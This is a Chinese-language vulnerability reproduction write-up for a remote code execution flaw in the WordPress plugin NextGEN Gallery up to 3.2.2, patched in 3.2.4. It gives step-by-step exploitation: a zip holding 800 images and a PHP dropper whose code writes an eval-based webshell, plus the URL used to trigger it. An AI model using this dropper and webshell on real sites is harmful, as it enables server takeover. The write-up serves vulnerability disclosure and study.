WordPress Plugin - NextGEN Gallery \<= 3.2.2 RCE

一、漏洞简介

WordPress插件NextGEN Gallery \<= 3.2.2版本将上传的zip压缩包解压到/wp-content/uploads目录下的临时目录,该临时目录具有显著特点:以unpacked开头。

当zip压缩文件包含大量图片时将导致处理进程崩溃,而临时目录没有删除。如果在zip压缩包中放置一个php文件,那么该php文件会被解压到临时目录造成RCE漏洞。

官方在2019年6月4日发布了3.2.4版本修复了漏洞。

二、漏洞影响

三、复现过程

第1步:制作Zip压缩包

我制作了一个包含800张图片和1个恶意php文件(abc233.php)的zip压缩包,图片都是几KB的小图片,恶意php文件的功能是往上级目录写入webshell,abc233.php文件内容如下:

<?php
    file_put_contents('../webshell666.php', '<?php @eval($_REQUEST["cmdx"]);?>');
?>

第2步:上传zip压缩包

点击"Add Gallery / Images"然后上传zip压缩包。

第3步:查看临时目录

点击"import folder",再点击"uploads"即可看到解压的临时目录。

第4步:生成webshell

访问临时目录下的abc233.php文件即可在/wp-content/uploads目录下生成webshell。

http://0-sec.org/wp-content/uploads/unpacked-phpA0CB.tmp/abc233.php

image